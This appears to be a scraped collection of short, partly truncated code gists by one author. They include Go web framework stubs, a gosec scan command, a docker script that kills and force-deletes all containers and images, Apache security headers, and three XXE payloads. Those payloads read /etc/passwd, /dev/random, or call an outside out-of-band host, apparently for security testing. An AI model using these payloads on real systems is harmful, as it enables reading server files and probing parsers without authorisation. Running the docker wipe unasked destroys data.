omarkurt

package main

import (
    "net/http"
    "log"
    "github.com/gorilla/mux"
)

func YourHandler(w http.ResponseWriter, r *http.Request) {
    w.Write([]byte("Gorilla!\n"))

omarkurt

package main

import "github.com/astaxie/beego"

func main(){
    beego.Run()
}

omarkurt

#!/bin/bash

# go get -u github.com/GoASTScanner/gas

gas -fmt=json -out=html.json -include=G101,G102,G103,G104,G105,G106,G201,G202,G203,G204,G301,G302,G303,G304,G401,G402,G403,G404,G501,G502,G503,G504 ./...

omarkurt

#!/bin/bash
# kill current docker
docker kill $(docker ps -q)
# Delete all containers
docker rm $(docker ps -a -q)
# Delete all images -f
docker rmi -f $(docker images -q)
# For exited 
docker rm -v $(docker ps -aq -f status=exited)

omarkurt

package main

import (
	"fmt"
	"net/http"

	"github.com/gin-gonic/gin"
	"github.com/s4l1h/acl"
)

omarkurt

require 'pipeline/tasks/base_task'
require 'pipeline/util'
require 'nokogiri'

class Pipeline::AltDNSScanner < Pipeline::BaseTask
        Pipeline::Tasks.add self
        include Pipeline::Util
        def initialize(trigger, tracker)
                super(trigger, tracker)
                @name = 'AltDNSScanner'

omarkurt

<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "http://jligddrrgibmgk0khyeweb88up6cjxqebzvaez98zxm.r87.me/r/">]><ns>&lfi;</ns>

omarkurt

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE description [ <!ELEMENT description ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
    <title>Test</title>
    <link>za</link>
    <description>A blog about things</description>
    <lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
    <item>

omarkurt

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

omarkurt

    #Security
    Header set X-Frame-Options: sameorigin
    Header set X-XSS-Protection: "1; mode=block"
    Header set X-WebKit-CSP: "default-src 'self'"
    Header set X-Content-Type-Options: nosniff
    Header set X-Permitted-Cross-Domain-Policies: "master-only"
    Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
    Header unset ETag